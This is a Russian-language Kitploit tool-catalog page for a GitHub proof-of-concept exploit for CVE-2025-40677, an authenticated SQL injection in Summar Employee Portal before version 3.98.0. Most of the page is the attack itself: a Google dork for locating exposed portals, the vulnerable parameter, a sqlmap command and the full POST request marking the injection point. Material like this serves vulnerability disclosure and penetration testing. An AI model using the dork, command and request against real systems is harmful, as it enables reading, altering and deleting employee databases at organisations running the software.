Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-40677 — Summar Employee Portal до версии 3.98.0 Аутентифицированная SQL-инъекция - CVE-2025-40677 | Kitploit
Инструменты/GitHubGitHub/petergabaldon/cve-2025-40677
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеБезопасность Баз Данных
GitHubpetergabaldon/cve-2025-40677

CVE-2025-40677

Summar Employee Portal до версии 3.98.0 Аутентифицированная SQL-инъекция - CVE-2025-40677

Репозиторий
1311 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Exploit Title: Summar Employee Portal до версии 3.98.0 Аутентифицированное SQL-инъекция - CVE-2025-40677

Google Dork: inurl:"/MemberPages/quienesquien.aspx"

Дата: 09/22/2025

Автор эксплойта: Peter Gabaldon - https://pgj11.com/

Домашняя страница вендора: https://www.summar.es/

Ссылка на ПО:

https://www.summar.es/software-recursos-humanos/

Версия: < 3.98.0

Протестировано на: Kali

CVE : CVE-2025-40677

Описание: Уязвимость SQL-инъекции в Summar Software´s Portal del Empleado. Эта уязвимость позволяет атакующему извлекать, создавать, обновлять и удалять базу данных, отправляя POST-запрос с параметром “ctl00$ContentPlaceHolder1$filtroNombre” в “/MemberPages/quienesquien.aspx”.

root@kitploit:~
$ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL"

POST /MemberPages/quienesquien.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
 
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true&
Скачать инструмент